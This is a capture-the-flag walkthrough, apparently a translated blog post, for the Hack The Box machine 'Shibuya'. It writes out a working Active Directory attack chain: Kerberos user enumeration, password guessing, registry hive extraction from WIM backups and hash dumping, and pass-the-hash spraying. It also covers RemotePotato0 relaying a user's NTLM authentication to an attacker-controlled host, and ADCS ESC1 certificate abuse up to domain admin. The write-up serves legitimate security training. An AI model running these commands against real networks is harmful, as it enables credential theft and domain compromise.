HTB Shibuya Walkthrough: WIM, RemotePotato0 and ADCS ESC1

HTB Shibuya Walkthrough: WIM, RemotePotato0 and ESC1 up to Domain Admin #

Shibuya is a Windows machine rated Hard on Hack The Box, almost entirely centered around Active Directory. The compromise path is unusual: it starts with an uncommon attack (extracting registry hives from Windows Imaging Format backup images), passes through a cross-relay between RDP sessions, and ends with a classic ADCS escalation of the ESC1 type. In this article, we retrace the entire chain, explaining the reasoning behind each step, not just the command to copy—because the true value of a walkthrough is understanding the logic, not the keystrokes.

Initial Recon #

A full TCP port scan shows a typical set of services for a Domain Controller: Kerberos (88), LDAP and LDAP over Global Catalog (3268/3269), RPC (135), SMB (445), and the Kerberos password change port (464). Note two non-standard details: SSH is open on port 22 (rare on a DC, but not impossible on modern Windows Servers with OpenSSH installed), while “normal” LDAP and LDAPS on ports 389/636 are unreachable — a constraint that will affect much of the subsequent enumeration, as many tools expect to be able to use those ports by default.

The domain name (shibuya.vl) and the host (AWSJPDC0522) emerge from the TLS certificates exposed on LDAPS and RDP:

nmap -p- --min-rate 10000 <IP>
nmap -sCV -p 22,53,88,135,139,445,464,593,3268,3269,3389,9389 <IP>

From there, it's a good idea to immediately generate a coherent hosts line:

netexec smb <IP> --generate-hosts-file hosts

User enumeration via Kerberos #

Without credentials, the only viable enumeration route is through Kerberos: the KDC service responds differently depending on whether a username exists in the domain or not, and this allows for brute-force enumeration (not of passwords, only of usernames):

kerbrute userenum -d shibuya.vl --dc <IP> /opt/SecLists/Usernames/xato-net-10-million-usernames.txt

Running it against a large wordlist quickly reveals two suspicious names: red e purple — too short and generic to be real “human” users, a clue that they are machine account (Simple naming patterns are often leftovers from autojoin or autoprovisioning.)

The “password equals username” trick #

A classic check on AD environments is to check if any account has the same password as the username:

netexec smb shibuya.vl -u red -p red --no-bruteforce --continue-on-success

The direct attempt via NTLM fails — but the important detail is that Machine accounts never accept NTLM authentication per policy, so an NTLM failure on these two names proves nothing. Repeating the same test by forcing authentication via Kerberos (flag -k):

netexec smb shibuya.vl -u red -p red --no-bruteforce --continue-on-success -k

both work: red:red e purple:purple These are valid credentials.

This is a conceptual point worth emphasizing: when a machine account is suspected, the authentication protocol used to verify it matters as much as the password itself.

From red to svc_autojoin: Share and comment in plain text #

With red authenticated you can enumerate the exposed SMB shares:

netexec smb shibuya.vl -u red -p red -k --shares

In addition to the default shares (ADMIN$, C$, IPC$, NETLOGON, SYSVOL) appears users and a particular share called images$, not accessible with this user.

More interesting is the complete dump of the domain's user list, which is possible because you now have valid credentials:

netexec smb shibuya.vl -k -u red -p red --users

A service account appears among the results, svc_autojoina description field which contains, in clear text, what appears to be a password. User descriptions in AD are a free text field and are enumerated by anyone with read access—a textbook misconfiguration, but surprisingly common in real-world environments: domain administrators sometimes leave "temporary" notes there for convenience, forgetting that any authenticated user can read them.

Verifying that string as a password:

netexec smb shibuya.vl -u svc_autojoin -p '<stringa_dalla_descrizione>'

SMB authentication succeeds.

WIM images and the hidden registry #

svc_autojoin has access to the share images$First you map it:

netexec smb shibuya.vl -u svc_autojoin -p '<password>' --spider 'images$' --regex .

then you download everything with smbclient:

smbclient -U shibuya.vl/svc_autojoin '//shibuya.vl/images$'
smb: \> prompt off
smb: \> mget *

Three rows appear .wim (Windows Imaging Format — the format used by Windows for system backup and deployment) plus a file .cab of Volume Shadow Copy metadata.

A WIM file is essentially an archive: 7-Zip opens it and lists its contents without having to mount it:

file *.wim
7z l AWSJPWK0222-01.wim

The first file shows a typical structure of a Windows users folder (Administrator, simon.watson, Default, Public) — signal that it is the contents of a user profileThe second file is the really interesting one: inside there is a folder with the complete registry hives (SAM, SYSTEM, SECURITY) used to calculate local password hashes. They are extracted as follows:

7z x AWSJPWK0222-02.wim SAM
7z x AWSJPWK0222-02.wim SYSTEM
7z x AWSJPWK0222-02.wim SECURITY

and they move on to secretsdump.py in local mode (offline, on file instead of on a live host):

secretsdump.py -sam SAM -security SECURITY -system SYSTEM local

The output returns the NTLM hashes of the local accounts on the machine the backup came from, including a non-standard account in addition to the usual Administrator/Guest.

Password spraying and first interactive login #

With a set of hashes in hand, the next step is to test them—via pass-the-hash, without needing to crack them—against other known accounts in the domain:

netexec smb shibuya.vl -u users -H <hash_ntlm> --continue-on-success

A targeted spray leads to a match on simon.watson, the name that appears in the WIM structure. From there, since you can't SSH directly with an NTLM hash, you go through the share users to deposit your public key:

smbclient -U simon.watson --pw-nt-hash //shibuya.vl/users <hash_ntlm>
smb: \simon.watson\> mkdir .ssh
smb: \simon.watson\> put id_ed25519.pub .ssh\authorized_keys

and finally connect:

ssh -i id_ed25519 simon.watson@shibuya.vl

From this point we move from “remote enumeration” to “shell on Windows AD” — a significant qualitative leap, because now it is possible to launch BloodHound/SharpHound and read the real state of the domain from the perspective of an authenticated user.

Another session on the same host: cross-session relay #

With a shell active, you harvest the domain with SharpHound:

.\SharpHound.exe -c all

Analysis in BloodHound shows that simon.watson has an active session on AWSJPDC0522 — normal, it's your own SSH shell. But looking at the machine's sessions, a second user also appears, nigel.millsFor a more in-depth look at how to enumerate and abuse these types of active sessions, even beyond BloodHound, see our guide. HasSession.

To confirm it from the command line you need qwinsta, which however on a non-interactive shell (like SSH without a full TTY) returns “No session exists”. The trick is to force a logon of Type 9 with RunasCs — we delve into what this means in detail in our guide to Windows logon type — even with fictitious credentials, which only serve to "unlock" the necessary context and are not verified:

.\RunasCs.exe hackita hackita qwinsta -l 9

The output shows nigel.mills connected in RDP in session ID 1.

This opens the door to an interesting technique: RemotePotato0. Unlike the classic “Potato” (JuicyPotato, PrintSpoofer) which exploit SeImpersonatePrivilege to get SYSTEM locally, RemotePotato0 does not impersonate anything locally — it activates an object DCOM into the target user's session and forces them to send an NTLM authentication to an address of the attacker's choosing. This results in the capture of the other logged-in user's NTLMv2 hash, without directly affecting their process.

On modern Windows Servers, the DCOM resolver involved is no longer running locally for hardening reasons: the first attempt pointed to an arbitrary port times out because the domain firewall blocks incoming traffic that isn't explicitly permitted. Therefore, it's necessary to find a port that the firewall allows through:

netsh advfirewall firewall show rule name=all

Filtering the output for enabled rules, incoming, TCP protocol, a rule emerges custom (non-system) with an explicitly open range: 8000-9000You choose a port in that range (e.g. 8888) and set up the redirector on your host:

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<IP_target>:8888

then launch RemotePotato0 pointed at session 1, with its own IP and the same port:

.\RemotePotato0.exe -m 2 -s 1 -x <IP_attaccante> -p 8888

The RDP session of nigel.mills generates an authentication that is captured as a NetNTLMv2 hash — crackable offline with hashcat against a common wordlist:

hashcat nigel.mills.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

The crack, in this case, is successful almost immediately, giving access to a clear password with which to authenticate via SSH as nigel.mills.

ADCS and ESC1: The Last Mile to Domain Admin #

With the credentials of nigel.mills we finally get to be able to enumerate the configuration of Active Directory Certificate Services with Certipy (LDAP access is required, so via proxychains/SSH SOCKS if ports 389/636 are not directly reachable):

proxychains certipy find -vulnerable -u nigel.mills -p '<password>' -dc-ip 127.0.0.1 -stdout

The enumeration reveals a Certification Authority with a custom template whose enrollment permissions are open to a group to which the user belongs, and — key point — the template allows the user to specify the Subject Alternative Name yourself of the certificate request (Enrollee Supplies Subject: true), as well as allowing client authentication. Certipy explicitly flags it as vulnerable to ESC1 (and, in this case, also to ESC2/ESC3 as related variants).

This combination is the technical definition of ESC1 : a low-privileged user can request a certificate by claiming to be someone else—in this case, the domain's administrative account—and obtain a valid certificate to authenticate as that user. We'll delve into the mechanics of this technique, step by step, in our dedicated article on ESC1.

The request is made with certipy req, specifying the vulnerable template and the UPN of the account to impersonate:

proxychains certipy req -u nigel.mills -p '<password>' -dc-ip 127.0.0.1 \
  -ca <nome-CA> -template <nome-template> -upn _admin@shibuya.vl \
  -target AWSJPDC0522.shibuya.vl -key-size 4096

(-key-size 4096 (This is only needed because the template in this case requires a larger RSA key than Certipy's default.) If authentication with that certificate fails due to SID mismatch, you should also add -sid with the target account's SID, retrievable from BloodHound.

With the obtained certificate you authenticate as a privileged account (via PKINIT/Kerberos):

proxychains certipy auth -pfx _admin.pfx -dc-ip 127.0.0.1

thus also recovering the NT hash, with which a WinRM session as Domain Administrator is finally opened:

proxychains evil-winrm -i 127.0.0.1 -u _admin -H <hash_ntlm>

Final houghts #

Shibuya is a good example of how a single machine can chain together very different techniques: "silent" Kerberos enumeration, a trivial IT hygiene error (password in the description field), an underused forensic vector (registry hive in WIM backup), a local session relay attack (RemotePotato0), and finally a textbook ADCS misconfiguration. If ADCS is a topic you're interested in learning more about, we also cover ESC2 and ESC3 on the blog , as well as a comprehensive guide covering the entire spectrum of ESC1–ESC16 techniques.

This article is for educational purposes only. Hack The Box is a legal training platform with machines specifically designed to be attacked in a controlled environment—none of the techniques described here should be applied to systems without explicit authorization.